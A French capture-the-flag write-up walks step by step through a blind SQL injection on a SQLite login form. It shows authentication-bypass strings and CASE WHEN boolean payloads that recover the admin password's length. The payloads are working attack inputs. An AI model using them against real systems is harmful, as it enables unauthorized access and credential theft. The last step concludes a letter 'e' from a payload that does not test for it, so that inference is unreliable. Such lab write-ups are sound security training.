Aller au contenu
17/02/2022 SQL injection - En aveugle

Lien du CTF

Recherche du point d'entrée

Injection 1

Login : a' or 1=1
Password : a' or 1=1

Warning: SQLite3::query(): Unable to prepare statement: 1, near "' and password='": syntax error in /challenge/web-serveur/ch10/index.php 
Error

La base SQL est de type SQLITE3. Le nom de la colonne de mot de passe est : password.

Injection 2

Login : a' or '1'='1
Password : a' or '1'='1
Welcome back user1 !
Your informations :

- username : user1

Connecté en tant que : user1.

user1

Injection 3

Login : a' or '1'='1
Password : a' or '1'='1' limit 1 offset 1 ; --
- username : admin

Hi master ! To validate the challenge use this password

admin

Injection 4

Avec case = False

Login : a
Password : a' or '1'='1' limit 1 offset case when(false) then 1 else 2 end ; --
user2

Avec case = False

Login : a
Password : a' or '1'='1' limit 1 offset case when(true) then 1 else 2 end ; --
admin

Le case fonctionne, trouvons une manière de l'exploiter.

Injection 5

Login : a
Password : a' or '1'='1' limit 1 offset case when((select password from users where username='admin') = "password") then 1 else 2 end ; --

user2

Injection 6

Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') < 10 ) then 1 else 2 end ; --
admin

Condition = true.

Injection 7

Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') > 5 ) then 1 else 2 end ; --

admin

Condition = true.

Injection 8

Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') < 8 ) then 1 else 2 end ; --

user2

Condition = false.

Injection 9

Login : a
Password : a' or '1'='1' limit 1 offset case when((select length(password) from users where username='admin') = 8 ) then 1 else 2 end ; --
admin

Condition = true.

La condition est validé, le mot de passe admin à une longueur de 8 caractères.

Injection 10

Login : a
Password : a' or '1'='1' limit 1 offset case when((select password from users where username='admin') like "%_%" ) then 1 else 2 end ; --

admin

Condition = true.

On peu comprendre que la lettre e est comprise dans le mot de passe. Il ne reste plus qu'a créer un script python pour automatiser les tests.